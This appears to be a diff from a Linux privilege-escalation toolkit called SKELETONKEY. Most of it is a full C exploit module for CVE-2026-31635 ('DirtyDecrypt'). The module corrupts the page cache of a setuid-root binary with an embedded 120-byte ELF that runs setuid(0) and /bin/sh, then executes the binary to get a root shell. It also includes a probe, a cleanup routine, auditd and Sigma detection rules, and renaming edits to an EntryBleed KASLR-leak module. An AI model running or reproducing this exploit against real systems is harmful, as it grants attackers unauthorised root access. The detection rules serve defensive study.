uint64_t seed = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid();
|
||||||
|
int total = 0;
|
||||||
|
|
||||||
|
int max_off = (int)(file_size - 28);
|
||||||
|
if (base + len - 1 > max_off)
|
||||||
|
len = max_off - (int)base + 1;
|
||||||
|
|
||||||
|
/* Find first byte that differs. We must write everything from there
|
||||||
|
* onward — each round's 15-byte damage zone corrupts the next bytes. */
|
||||||
|
int start = 0;
|
||||||
|
for (int i = 0; i < len; i++) {
|
||||||
|
uint8_t cur;
|
||||||
|
pread(rfd, &cur, 1, base + i);
|
||||||
|
if (cur != target[i]) { start = i; break; }
|
||||||
|
if (i == len - 1) {
|
||||||
|
LOG("page cache already matches, skipping write");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
int need = len - start;
|
||||||
|
|
||||||
|
LOG("writing payload to %s (%d bytes from offset %d)",
|
||||||
|
label, need, (int)base + start);
|
||||||
|
dd_progress(0, need, 0);
|
||||||
|
|
||||||
|
for (int i = start; i < len; i++) {
|
||||||
|
off_t off = base + i;
|
||||||
|
uint8_t want = target[i];
|
||||||
|
uint8_t cur;
|
||||||
|
pread(rfd, &cur, 1, off);
|
||||||
|
|
||||||
|
if (cur == want && i > start)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
int ok = 0;
|
||||||
|
for (int att = 0; att < 10000; att++) {
|
||||||
|
seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17;
|
||||||
|
uint64_t r = seed;
|
||||||
|
seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17;
|
||||||
|
memcpy(key, &r, 8);
|
||||||
|
memcpy(key + 8, &seed, 8);
|
||||||
|
|
||||||
|
size_t slen = 28;
|
||||||
|
if (off + (off_t)slen > file_size) slen = file_size - off;
|
||||||
|
if (slen < 16) slen = 16;
|
||||||
|
int rc = fire(rfd, off, slen, key, AES_KEY_LEN);
|
||||||
|
total++;
|
||||||
|
if (rc == 1 && ((const uint8_t *)map)[off] == want) {
|
||||||
|
ok = 1;
|
||||||
|
dd_progress(i - start + 1, need, total);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!ok) {
|
||||||
|
if (dd_verbose) fprintf(stderr, "\n");
|
||||||
|
ERR("byte %d/%d failed", i - start + 1, need);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
LOG("%d fires total", total);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* --- tiny ELF: setuid(0) + execve("/bin/sh") ---
|
||||||
|
* 120-byte ET_DYN ELF with overlapping phdr+header and /bin/sh in p_paddr.
|
||||||
|
* Reproduced verbatim from the V12 PoC. */
|
||||||
|
static const uint8_t tiny_elf[] = {
|
||||||
|
0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||||
|
0x03,0x00,0x3e,0x00,0x01,0x00,0x00,0x00, 0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||||
|
0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||||
|
0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,
|
||||||
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||||
|
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00, 0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||||
|
0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* code: */
|
||||||
|
0xb0,0x69,0x0f,0x05, /* setuid(0) */
|
||||||
|
0x48,0x8d,0x3d,0xdd,0xff,0xff,0xff, /* lea rdi, "/bin/sh" */
|
||||||
|
0x6a,0x3b,0x58, /* push 59; pop rax */
|
||||||
|
0x0f,0x05, /* execve("/bin/sh", 0, 0) */
|
||||||
|
};
|
||||||
|
|
||||||
|
/* Pick the first readable setuid-root binary from the candidate list. */
|
||||||
|
static const char *dd_pick_target(void)
|
||||||
|
{
|
||||||
|
for (int i = 0; dd_targets[i]; i++) {
|
||||||
|
struct stat sb;
|
||||||
|
if (stat(dd_targets[i], &sb) == 0 &&
|
||||||
|
(sb.st_mode & S_ISUID) && sb.st_uid == 0 &&
|
||||||
|
access(dd_targets[i], R_OK) == 0)
|
||||||
|
return dd_targets[i];
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Best-effort page-cache eviction for one path. */
|
||||||
|
static void dd_evict(const char *path)
|
||||||
|
{
|
||||||
|
int fd = open(path, O_RDONLY);
|
||||||
|
if (fd >= 0) {
|
||||||
|
#ifdef POSIX_FADV_DONTNEED
|
||||||
|
posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED);
|
||||||
|
#endif
|
||||||
|
close(fd);
|
||||||
|
}
|
||||||
|
int dc = open("/proc/sys/vm/drop_caches", O_WRONLY);
|
||||||
|
if (dc >= 0) { if (write(dc, "3\n", 2) < 0) {} close(dc); }
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- detect ------------------------------------------------------- */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Active sentinel probe: fire the rxgk primitive against a disposable
|
||||||
|
* /tmp file and check whether the page cache was corrupted. Never
|
||||||
|
* touches a setuid binary. Returns 1 vulnerable, 0 not, -1 probe error.
|
||||||
|
*/
|
||||||
|
static int dd_active_probe(void)
|
||||||
|
{
|
||||||
|
char probe[] = "/tmp/skeletonkey-dirtydecrypt-probe-XXXXXX";
|
||||||
|
int fd = mkstemp(probe);
|
||||||
|
if (fd < 0) return -1;
|
||||||
|
uint8_t seed_buf[256];
|
||||||
|
for (int i = 0; i < (int)sizeof(seed_buf); i++) seed_buf[i] = 0xA5;
|
||||||
|
if (write(fd, seed_buf, sizeof seed_buf) != (ssize_t)sizeof seed_buf) {
|
||||||
|
close(fd); unlink(probe); return -1;
|
||||||
|
}
|
||||||
|
fsync(fd);
|
||||||
|
close(fd);
|
||||||
|
|
||||||
|
int rfd = open(probe, O_RDONLY);
|
||||||
|
if (rfd < 0) { unlink(probe); return -1; }
|
||||||
|
void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd, 0);
|
||||||
|
if (map == MAP_FAILED) { close(rfd); unlink(probe); return -1; }
|
||||||
|
|
||||||
|
int result = -1;
|
||||||
|
pid_t pid = fork();
|
||||||
|
if (pid == 0) {
|
||||||
|
setup_ns();
|
||||||
|
usleep(10000);
|
||||||
|
int s = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
|
||||||
|
if (s < 0) _exit(2); /* AF_RXRPC unavailable */
|
||||||
|
close(s);
|
||||||
|
uint8_t key[16];
|
||||||
|
for (int att = 0; att < 64; att++) {
|
||||||
|
for (int k = 0; k < 16; k++) key[k] = rand() & 0xff;
|
||||||
|
if (fire(rfd, 16, 28, key, AES_KEY_LEN) != 1)
|
||||||
|
continue;
|
||||||
|
/* corruption hits a 16-byte block at the offset */
|
||||||
|
for (int b = 16; b < 32; b++)
|
||||||
|
if (((const uint8_t *)map)[b] != 0xA5)
|
||||||
|
_exit(0); /* vulnerable */
|
||||||
|
}
|
||||||
|
_exit(1); /* primitive did not land */
|
||||||
|
}
|
||||||
|
if (pid > 0) {
|
||||||
|
int st;
|
||||||
|
waitpid(pid, &st, 0);
|
||||||
|
if (WIFEXITED(st)) {
|
||||||
|
if (WEXITSTATUS(st) == 0) result = 1;
|
||||||
|
else if (WEXITSTATUS(st) == 1) result = 0;
|
||||||
|
else result = -1; /* AF_RXRPC unavailable / error */
|
||||||
|
}
|
||||||
|
}
|
||||||
|
munmap(map, 4096);
|
||||||
|
close(rfd);
|
||||||
|
unlink(probe);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* CVE-2026-31635 affects kernels with the rxgk RESPONSE-handling code
|
||||||
|
* (CONFIG_RXGK). Per Debian's tracker, the vulnerable code was
|
||||||
|
* introduced in the 7.0 development cycle — older mainline branches
|
||||||
|
* (bullseye 5.10 / bookworm 6.1 / trixie 6.12) are <not-affected,
|
||||||
|
* vulnerable code not present>. The fix is upstream commit
|
||||||
|
* a2567217ade970ecc458144b6be469bc015b23e5 ("rxrpc: fix oversized
|
||||||
|
* RESPONSE authenticator length check"), shipped in Linux 7.0.
|
||||||
|
*
|
||||||
|
* The detect logic therefore is:
|
||||||
|
* - kernel < 7.0 → SKELETONKEY_OK (predates the bug)
|
||||||
|
* - kernel ≥ 7.0 → consult kernel_range; 7.0+ has the fix
|
||||||
|
* - --active → empirical override (catches pre-fix 7.0-rc kernels
|
||||||
|
* or weird distro rebuilds the version check missed)
|
||||||
|
*/
|
||||||
|
static const struct kernel_patched_from dirtydecrypt_patched_branches[] = {
|
||||||
|
{7, 0, 0}, /* mainline fix commit a2567217 landed in Linux 7.0 */
|
||||||
|
};
|
||||||
|
static const struct kernel_range dirtydecrypt_range = {
|
||||||
|
.patched_from = dirtydecrypt_patched_branches,
|
||||||
|
.n_patched_from = sizeof(dirtydecrypt_patched_branches) /
|
||||||
|
sizeof(dirtydecrypt_patched_branches[0]),
|
||||||
|
};
|
||||||
|
|
||||||
|
static skeletonkey_result_t dd_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
dd_verbose = !ctx->json;
|
||||||
|
|
||||||
|
/* Consult the shared host fingerprint instead of calling
|
||||||
|
* kernel_version_current() ourselves — populated once at startup
|
||||||
|
* and identical across every module's detect(). */
|
||||||
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] dirtydecrypt: host fingerprint missing kernel "
|
||||||
|
"version — bailing\n");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Predates the bug: rxgk RESPONSE-handling code was added in 7.0. */
|
||||||
|
if (!skeletonkey_host_kernel_at_least(ctx->host, 7, 0, 0)) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] dirtydecrypt: kernel %s predates the rxgk "
|
||||||
|
"RESPONSE-handling code added in 7.0 — not applicable\n",
|
||||||
|
v->release);
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Precondition: AF_RXRPC must be reachable for the primitive. */
|
||||||
|
int s = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
|
||||||
|
if (s < 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] dirtydecrypt: AF_RXRPC unavailable "
|
||||||
|
"(%s) — rxgk path not reachable here\n",
|
||||||
|
strerror(errno));
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
close(s);
|
||||||
|
|
||||||
|
if (!dd_pick_target()) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] dirtydecrypt: no readable setuid-root "
|
||||||
|
"binary — exploit has no carrier here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool patched_by_version = kernel_range_is_patched(&dirtydecrypt_range, v);
|
||||||
|
|
||||||
|
if (ctx->active_probe) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[*] dirtydecrypt: running active sentinel "
|
||||||
|
"probe (safe; /tmp only)\n");
|
||||||
|
int p = dd_active_probe();
|
||||||
|
if (p == 1) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] dirtydecrypt: ACTIVE PROBE "
|
||||||
|
"CONFIRMED — rxgk in-place decrypt corrupts "
|
||||||
|
"the page cache (kernel %s)\n", v->release);
|
||||||
|
return SKELETONKEY_VULNERABLE;
|
||||||
|
}
|
||||||
|
if (p == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[+] dirtydecrypt: active probe did "
|
||||||
|
"not land — primitive blocked (likely patched%s)\n",
|
||||||
|
patched_by_version ? "" : ", or distro silently fixed");
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[?] dirtydecrypt: active probe machinery "
|
||||||
|
"failed; falling back to version verdict\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (patched_by_version) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[+] dirtydecrypt: kernel %s is patched "
|
||||||
|
"(commit a2567217 in Linux 7.0; version-only check — "
|
||||||
|
"use --active to confirm)\n", v->release);
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] dirtydecrypt: kernel %s appears VULNERABLE "
|
||||||
|
"(in 7.0-rc window before commit a2567217; version-only)\n"
|
||||||
|
" Confirm empirically: skeletonkey --scan --active\n",
|
||||||
|
v->release);
|
||||||
|
return SKELETONKEY_VULNERABLE;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- exploit ------------------------------------------------------ */
|
||||||
|
|
||||||
|
/* Runs in a forked child: corrupt the target's page cache, then either
|
||||||
|
* exec it (shell mode) or _exit cleanly (no_shell). Never returns on
|
||||||
|
* the shell path. Exit codes: 0 ok, 2 corruption failed, 4 precond. */
|
||||||
|
static void dd_child(const char *target_path, int no_shell)
|
||||||
|
{
|
||||||
|
int rfd = open(target_path, O_RDONLY);
|
||||||
|
if (rfd < 0) { perror("open target"); _exit(2); }
|
||||||
|
struct stat sb;
|
||||||
|
if (fstat(rfd, &sb) < 0) { perror("fstat"); _exit(2); }
|
||||||
|
|
||||||
|
void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd, 0);
|
||||||
|
if (map == MAP_FAILED) { perror("mmap"); _exit(2); }
|
||||||
|
|
||||||
|
pid_t pid = fork();
|
||||||
|
if (pid < 0) { perror("fork"); _exit(2); }
|
||||||
|
if (pid == 0) {
|
||||||
|
setup_ns();
|
||||||
|
usleep(10000);
|
||||||
|
int sock = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
|
||||||
|
if (sock < 0) { ERR("AF_RXRPC unavailable"); _exit(4); }
|
||||||
|
close(sock);
|
||||||
|
_exit(pagecache_write(rfd, map, 0, tiny_elf, sizeof(tiny_elf),
|
||||||
|
sb.st_size, target_path) < 0 ? 2 : 0);
|
||||||
|
}
|
||||||
|
int st;
|
||||||
|
waitpid(pid, &st, 0);
|
||||||
|
munmap(map, 4096);
|
||||||
|
close(rfd);
|
||||||
|
if (!WIFEXITED(st) || WEXITSTATUS(st) != 0) {
|
||||||
|
ERR("page-cache corruption failed (status 0x%x)", st);
|
||||||
|
_exit(WIFEXITED(st) && WEXITSTATUS(st) == 4 ? 4 : 2);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (no_shell) {
|
||||||
|
LOG("--no-shell: page cache poisoned, shell not spawned");
|
||||||
|
LOG("revert with `skeletonkey --cleanup dirtydecrypt`");
|
||||||
|
_exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
LOG("page cache poisoned; exec %s to claim root", target_path);
|
||||||
|
fflush(NULL);
|
||||||
|
execlp(target_path, target_path, (char *)NULL);
|
||||||
|
perror("execlp target");
|
||||||
|
_exit(2);
|
||||||
|
}
|
||||||
|
|
||||||
|
static skeletonkey_result_t dd_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
dd_verbose = !ctx->json;
|
||||||
|
|
||||||
|
if (geteuid() == 0) {
|
||||||
|
fprintf(stderr, "[i] dirtydecrypt: already root — nothing to do\n");
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
const char *target = dd_pick_target();
|
||||||
|
if (!target) {
|
||||||
|
ERR("no readable setuid-root binary to use as a carrier");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
LOG("target carrier: %s", target);
|
||||||
|
|
||||||
|
/* Record the target so cleanup() knows what to evict. */
|
||||||
|
int sf = open("/tmp/skeletonkey-dirtydecrypt.target",
|
||||||
|
O_WRONLY | O_CREAT | O_TRUNC, 0600);
|
||||||
|
if (sf >= 0) { if (write(sf, target, strlen(target)) < 0) {} close(sf); }
|
||||||
|
|
||||||
|
srand(time(NULL) ^ getpid());
|
||||||
|
|
||||||
|
pid_t pid = fork();
|
||||||
|
if (pid < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||||
|
if (pid == 0)
|
||||||
|
dd_child(target, ctx->no_shell); /* never returns on shell path */
|
||||||
|
|
||||||
|
int st;
|
||||||
|
waitpid(pid, &st, 0);
|
||||||
|
if (!WIFEXITED(st))
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
switch (WEXITSTATUS(st)) {
|
||||||
|
case 0: return SKELETONKEY_EXPLOIT_OK;
|
||||||
|
case 4: return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
default: return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- cleanup ------------------------------------------------------ */
|
||||||
|
|
||||||
|
static skeletonkey_result_t dd_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
dd_verbose = !ctx->json;
|
||||||
|
|
||||||
|
char target[256] = {0};
|
||||||
|
int sf = open("/tmp/skeletonkey-dirtydecrypt.target", O_RDONLY);
|
||||||
|
if (sf >= 0) {
|
||||||
|
ssize_t n = read(sf, target, sizeof(target) - 1);
|
||||||
|
if (n > 0) target[n] = '\0';
|
||||||
|
close(sf);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (target[0]) {
|
||||||
|
LOG("evicting %s from page cache", target);
|
||||||
|
dd_evict(target);
|
||||||
|
unlink("/tmp/skeletonkey-dirtydecrypt.target");
|
||||||
|
} else {
|
||||||
|
LOG("no recorded target; evicting all candidate carriers");
|
||||||
|
for (int i = 0; dd_targets[i]; i++)
|
||||||
|
dd_evict(dd_targets[i]);
|
||||||
|
}
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
static skeletonkey_result_t dd_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] dirtydecrypt: Linux-only module "
|
||||||
|
"(AF_RXRPC / rxgk) — not applicable on this platform\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t dd_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] dirtydecrypt: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t dd_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
|
/* ---- detection rules (embedded) ----------------------------------- */
|
||||||
|
|
||||||
|
static const char dd_auditd[] =
|
||||||
|
"# DirtyDecrypt (CVE-2026-31635) — auditd detection rules\n"
|
||||||
|
"# rxgk in-place decrypt corrupts the page cache of a read-only file.\n"
|
||||||
|
"# Watches every payload carrier in dd_targets[] plus credential files.\n"
|
||||||
|
"-w /usr/bin/su -p wa -k skeletonkey-dirtydecrypt\n"
|
||||||
|
"-w /bin/su -p wa -k skeletonkey-dirtydecrypt\n"
|
||||||
|
"-w /usr/bin/mount -p wa -k skeletonkey-dirtydecrypt\n"
|
||||||
|
"-w /usr/bin/passwd -p wa -k skeletonkey-dirtydecrypt\n"
|
||||||
|
"-w /usr/bin/chsh -p wa -k skeletonkey-dirtydecrypt\n"
|
||||||
|
"-w /etc/passwd -p wa -k skeletonkey-dirtydecrypt\n"
|
||||||
|
"-w /etc/shadow -p wa -k skeletonkey-dirtydecrypt\n"
|
||||||
|
"# AF_RXRPC socket creation by non-root (family 33) — core of the trigger\n"
|
||||||
|
"-a always,exit -F arch=b64 -S socket -F a0=33 -k skeletonkey-dirtydecrypt-rxrpc\n"
|
||||||
|
"# rxrpc security keys added to the keyring\n"
|
||||||
|
"-a always,exit -F arch=b64 -S add_key -k skeletonkey-dirtydecrypt-key\n"
|
||||||
|
"# splice() drives the page-cache pages into the forged DATA packet\n"
|
||||||
|
"-a always,exit -F arch=b64 -S splice -k skeletonkey-dirtydecrypt-splice\n"
|
||||||
|
"-a always,exit -F arch=b32 -S splice -k skeletonkey-dirtydecrypt-splice\n";
|
||||||
|
|
||||||
|
static const char dd_sigma[] =
|
||||||
|
"title: Possible DirtyDecrypt exploitation (CVE-2026-31635)\n"
|
||||||
|
"id: 7c1e9a40-skeletonkey-dirtydecrypt\n"
|
||||||
|
"status: experimental\n"
|
||||||
|
"description: |\n"
|
||||||
|
" Detects the footprint of the rxgk page-cache write (DirtyDecrypt /\n"
|
||||||
|
" DirtyCBC, CVE-2026-31635): non-root creation of AF_RXRPC sockets\n"
|
||||||
|
" followed by modification of a setuid-root binary or /etc/passwd.\n"
|
||||||
|
"logsource: {product: linux, service: auditd}\n"
|
||||||
|
"detection:\n"
|
||||||
|
" modification:\n"
|
||||||
|
" type: 'PATH'\n"
|
||||||
|
" name|startswith: ['/usr/bin/su', '/bin/su', '/usr/bin/mount',\n"
|
||||||
|
" '/usr/bin/passwd', '/usr/bin/chsh', '/etc/passwd', '/etc/shadow']\n"
|
||||||
|
" not_root:\n"
|
||||||
|
" auid|expression: '!= 0'\n"
|
||||||
|
" condition: modification and not_root\n"
|
||||||
|
"level: high\n"
|
||||||
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.31635]\n";
|
||||||
|
|
||||||
|
const struct skeletonkey_module dirtydecrypt_module = {
|
||||||
|
.name = "dirtydecrypt",
|
||||||
|
.cve = "CVE-2026-31635",
|
||||||
|
.summary = "rxgk missing-COW in-place decrypt → page-cache write into a setuid binary",
|
||||||
|
.family = "dirtydecrypt",
|
||||||
|
.kernel_range = "Linux 7.0 (vulnerable rxgk code added in 7.0); mainline fix commit a2567217 in 7.0",
|
||||||
|
.detect = dd_detect,
|
||||||
|
.exploit = dd_exploit,
|
||||||
|
.mitigate = NULL,
|
||||||
|
.cleanup = dd_cleanup,
|
||||||
|
.detect_auditd = dd_auditd,
|
||||||
|
.detect_sigma = dd_sigma,
|
||||||
|
.detect_yara = NULL,
|
||||||
|
.detect_falco = NULL,
|
||||||
|
};
|
||||||
|
|
||||||
|
void skeletonkey_register_dirtydecrypt(void)
|
||||||
|
{
|
||||||
|
skeletonkey_register(&dirtydecrypt_module);
|
||||||
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* dirtydecrypt_cve_2026_31635 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef DIRTYDECRYPT_SKELETONKEY_MODULES_H
|
||||||
|
#define DIRTYDECRYPT_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module dirtydecrypt_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -45,7 +45,7 @@ There is no single canonical patch. Partial mitigations include:
|
|||||||
- Lift the proven EntryBleed code from
|
- Lift the proven EntryBleed code from
|
||||||
`SKYFALL/bugs/leak_write_modprobe_2026-05-16/exploit.c` into
|
`SKYFALL/bugs/leak_write_modprobe_2026-05-16/exploit.c` into
|
||||||
`module.c` here
|
`module.c` here
|
||||||
- Expose as both a CLI mode (`iamroot --leak-kbase`) and as a
|
- Expose as both a CLI mode (`skeletonkey --leak-kbase`) and as a
|
||||||
library helper (`uint64_t entrybleed_leak_kbase(void)`)
|
library helper (`uint64_t entrybleed_leak_kbase(void)`)
|
||||||
- Detection rules: timing-attack pattern flags, perf-counter
|
- Detection rules: timing-attack pattern flags, perf-counter
|
||||||
anomaly detection (informational — these are hard to make precise
|
anomaly detection (informational — these are hard to make precise
|
||||||
|
|||||||
@@ -0,0 +1,23 @@
|
|||||||
|
# NOTICE — entrybleed
|
||||||
|
|
||||||
|
## Vulnerability
|
||||||
|
|
||||||
|
**CVE-2023-0458** — KPTI `prefetchnta` timing side-channel leaks the
|
||||||
|
kernel base address (KASLR bypass).
|
||||||
|
|
||||||
|
## Research credit
|
||||||
|
|
||||||
|
Discovered by **Will Findlay**. Formally presented at USENIX Security '23:
|
||||||
|
|
||||||
|
> "EntryBleed: A Universal KASLR Bypass against KPTI on Linux"
|
||||||
|
> Bert Jan Schijf, Cristiano Giuffrida — USENIX Security 2023
|
||||||
|
|
||||||
|
Mainline status: no canonical patch — partial mitigations only.
|
||||||
|
|
||||||
|
## SKELETONKEY role
|
||||||
|
|
||||||
|
This is a **stage-1 leak primitive**, not a standalone LPE. Other
|
||||||
|
modules can call `entrybleed_leak_kbase_lib()` to obtain a KASLR
|
||||||
|
slide and feed it to the offset resolver in `core/offsets.c`. x86_64
|
||||||
|
only; the `entry_SYSCALL_64` slot offset is configurable via the
|
||||||
|
`SKELETONKEY_ENTRYBLEED_OFFSET` env var.
|
||||||
+25
-25
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* entrybleed_cve_2023_0458 — IAMROOT module
|
* entrybleed_cve_2023_0458 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* EntryBleed (Lipp et al., USENIX Security '23). A KPTI prefetchnta
|
* EntryBleed (Lipp et al., USENIX Security '23). A KPTI prefetchnta
|
||||||
* timing side-channel that leaks the kernel base address.
|
* timing side-channel that leaks the kernel base address.
|
||||||
@@ -13,10 +13,10 @@
|
|||||||
* anti-EntryBleed mitigation = VULNERABLE.
|
* anti-EntryBleed mitigation = VULNERABLE.
|
||||||
* - This module is also a LIBRARY: other modules that need a kbase
|
* - This module is also a LIBRARY: other modules that need a kbase
|
||||||
* leak as part of a chain can call `entrybleed_leak_kbase_lib()`
|
* leak as part of a chain can call `entrybleed_leak_kbase_lib()`
|
||||||
* directly (declared in iamroot_modules.h).
|
* directly (declared in skeletonkey_modules.h).
|
||||||
*
|
*
|
||||||
* x86_64 only. On ARM64 / other arches, detect() returns
|
* x86_64 only. On ARM64 / other arches, detect() returns
|
||||||
* IAMROOT_PRECOND_FAIL and exploit() returns IAMROOT_PRECOND_FAIL.
|
* SKELETONKEY_PRECOND_FAIL and exploit() returns SKELETONKEY_PRECOND_FAIL.
|
||||||
*
|
*
|
||||||
* For users who'd never go to USENIX (TLDR):
|
* For users who'd never go to USENIX (TLDR):
|
||||||
* - KPTI unmaps kernel pages from user CR3 on kernel-exit, but leaves
|
* - KPTI unmaps kernel pages from user CR3 on kernel-exit, but leaves
|
||||||
@@ -30,7 +30,7 @@
|
|||||||
* - Subtract its known offset from kbase → KASLR slide
|
* - Subtract its known offset from kbase → KASLR slide
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "iamroot_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
@@ -120,7 +120,7 @@ static int read_first_line(const char *path, char *out, size_t n)
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
/* Probe KPTI status. /sys/devices/system/cpu/vulnerabilities/meltdown
|
/* Probe KPTI status. /sys/devices/system/cpu/vulnerabilities/meltdown
|
||||||
* is the most direct signal: "Mitigation: PTI" means KPTI is on
|
* is the most direct signal: "Mitigation: PTI" means KPTI is on
|
||||||
@@ -134,7 +134,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[?] entrybleed: cannot read meltdown vuln status — "
|
fprintf(stderr, "[?] entrybleed: cannot read meltdown vuln status — "
|
||||||
"assuming KPTI on (conservative)\n");
|
"assuming KPTI on (conservative)\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", buf);
|
fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", buf);
|
||||||
@@ -146,7 +146,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[+] entrybleed: CPU is Meltdown-immune; KPTI off; "
|
fprintf(stderr, "[+] entrybleed: CPU is Meltdown-immune; KPTI off; "
|
||||||
"EntryBleed N/A\n");
|
"EntryBleed N/A\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* "Mitigation: PTI" or "Vulnerable" or similar — KPTI is most likely
|
/* "Mitigation: PTI" or "Vulnerable" or similar — KPTI is most likely
|
||||||
